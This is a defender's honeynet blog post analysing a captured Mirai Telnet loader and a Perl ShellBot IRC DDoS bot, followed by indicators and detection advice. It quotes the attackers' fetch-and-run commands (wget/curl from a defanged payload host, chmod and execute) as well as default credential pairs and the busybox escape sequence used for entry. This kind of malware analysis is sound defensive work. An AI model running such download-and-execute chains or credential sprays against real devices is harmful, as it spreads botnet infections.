Honeynet Field Notes, Day 1: A Mirai Loader and an IRC DDoS Bot

I stood up a honeynet this week with a simple goal: capture what actually lands on exposed infrastructure, analyze it, and share what’s useful with other defenders. This series is the running log.

Day one didn’t take long to produce results. Within the first 12 hours, two separate attackers brute-forced their way into the sensors and each pulled down a second-stage payload. One was a Mirai loader. The other was a Perl-based IRC bot built for DDoS and remote access.

Neither is novel malware. That’s actually the useful part, because this is the baseline noise every internet-facing SSH and Telnet service deals with daily.

The Setup

#

The sensors run the T-Pot honeypot platform on disposable cloud hosts. The relevant component here is Cowrie, a medium-interaction SSH/Telnet honeypot that records full sessions and saves any file an attacker downloads.

One sensor presents an industrial control system profile alongside its Telnet surface. The other is a general-purpose malware collection sensor running Cowrie on SSH.

Both samples are plain-text scripts. They were analyzed statically: read, not executed. No command-and-control server, loader, or distribution host was contacted during the analysis.

Sample 1: Mirai Telnet Loader (kla.sh)

#

How it got in

#

The intrusion came over Telnet. The attacker logged in with admin/admin, then walked through the menu-escape sequence common on consumer routers and DVRs (enable, system, shell, linuxshell) to reach a real shell. Next came the classic Mirai liveness probe, /bin/busybox BOTNET, which checks whether the device runs BusyBox and responds the way the bot expects.

Then the fetch:

cd /tmp || cd /var || cd /dev/shm || cd /run || cd /root || cd /;
rm -f kla.sh;
wget -O kla.sh hxxp://<payload-host>/bins/kla.sh ||
busybox wget -O kla.sh hxxp://<payload-host>/bins/kla.sh ||
curl -sLo kla.sh hxxp://<payload-host>/bins/kla.sh;
chmod 777 kla.sh; sh kla.sh telnet &

Every fallback is there: three download methods and six candidate working directories. The script is built to succeed on whatever stripped-down Linux it lands on.

One detail stands out. The IP that performed the brute force is the same IP hosting the payloads. The operator didn’t bother separating scanning infrastructure from distribution.

What it does

#

kla.sh is a stage-two fetcher, about 3 KB of POSIX shell. It changes into the first writable directory it finds, then loops through roughly 16 CPU architectures, trying to download a bot binary named net.<arch> for each one:

x86_64, x86, i686, i486, mips, mpsl, arm, arm5, arm6, arm7, ppc, m68k, sh4, sparc, arc

For each architecture it tries wget, falls back to curl, sets the file executable, runs it with a campaign tag, and stops at the first binary that executes. A final rm cleans up the dropped artifacts.

Spraying every architecture and letting the wrong ones fail is the behavioral signature of Mirai. It’s cheaper for the operator to cross-compile for everything than to fingerprint the target first.

Cowrie captures the script but not the downstream net.* binaries, so the actual bot payloads weren’t collected.

Sample 2: ShellBot / PerlBot (dred)

#

How it got in

#

This one arrived over SSH from a different source. The attacker ran a password spray built around a <brand>/Admin@2026 pattern, pairing hardware vendor names as usernames with a seasonal-style password. It succeeded on lenovo/Admin@2026.

The client fingerprint was consistent throughout: libssh2_1.4.3 with HASSH 92674389fa1e47a27ddd8d9b63ecd42b. That’s a useful detection pivot, since HASSH stays stable across source IPs when the tooling doesn’t change.

After login, the attacker fingerprinted the host and ran the payload:

uname -a;
lspci | grep -i --color 'vga\|3d\|2d';
curl -s -L hxxp://<payload-host>/dred -o /tmp/dred;
perl /tmp/dred

The lspci GPU check is worth noting. It’s reconnaissance typical of operators who also deploy cryptominers, checking whether the host has hardware worth monetizing beyond the botnet.

Unlike the Mirai operator, this one separated roles. The brute force came from one IP and the payload from another.

What it does

#

dred is a 44 KB Perl script that identifies itself as “DDoS PBot v2.0,” a long-running ShellBot strain. It connects to an IRC server, joins a control channel, and accepts commands only from an authenticated operator hostmask.

The capability set is broad:

• DDoS: two UDP flood variants (raw and datagram sockets), a TCP connect flood, and an HTTP GET flood
• Reconnaissance: a 160-port TCP scanner and DNS resolution
• Remote access: a connect-back shell and arbitrary command execution
• Abuse: a sendmail-based spam relay and Perl eval of operator-supplied code
• Evasion: forks to the background and renames its process to look like a legitimate daemon such as /usr/sbin/sshd -D, /sbin/syslogd, or /usr/sbin/cron The C2 configuration points to an IRC server on port 6667, channel #new, with an operator nick of Dred and an auth hostmask on the dreds[.]network domain. The filename matches the operator handle, which ties this build to a specific botnet operator rather than a generic kit.

The malware came in through the boring front door, SSH and Telnet with weak credentials. That lines up with what most defenders already see in practice. Opportunistic operators go where the volume is, and default credentials on Linux-based devices still produce plenty of it.

A hive-wide search confirmed each payload was pulled exactly once, in the single session described, with no reuse of the hashes or URLs from any other source. Public hash reputation lookups returned no match for either build at time of capture, so these specific variants weren’t catalogued yet.

Indicators of Compromise

#

Source and payload-host IP addresses are intentionally withheld. The hosting providers involved are commercial VPS and hosting companies, and it’s possible some of that infrastructure is itself compromised, so publishing the addresses would add little beyond what the hashes and domain already give defenders. Remaining network indicators are defanged.

Network

#

File hashes (SHA-256)

#

Host and behavioral

#

• Telnet sessions issuing /bin/busybox BOTNET or the enable / system / shell / linuxshell escape sequence
• SSH authentication attempts with HASSH 92674389fa1e47a27ddd8d9b63ecd42b (libssh2_1.4.3) and a <brand>/Admin@2026 password pattern
• Outbound IRC traffic to port 6667 from a server process
• A process named sshd, syslogd, or cron with unexpected outbound connections
• Files named net_bot, net.<arch>, or /tmp/dred

Detection Takeaways

#

Most of this is detectable with controls defenders already have.

Egress filtering on 6667. Very few production servers have a legitimate reason to speak IRC. An outbound connection to 6667 from a server is a high-signal alert on its own.

Process name versus behavior. ShellBot’s evasion depends on nobody checking whether “sshd” is the binary at /usr/sbin/sshd with the expected parent process. EDR rules comparing process name, executable path, and network behavior catch this cleanly.

HASSH-based SSH detection. Source IPs rotate constantly. Client fingerprints rotate far less often, which makes HASSH a more durable signal for brute-force tooling.

Credential hygiene on embedded devices. The Mirai session succeeded on admin/admin. That’s not a sophisticated problem, but it’s still the one that keeps working.

What’s Next

#

The sensors stay up, and the SSH, Telnet, and SMB capture surfaces are doing their job. I’ll keep sharing samples and patterns as they come in, along with anything that shifts from the commodity baseline seen on day one.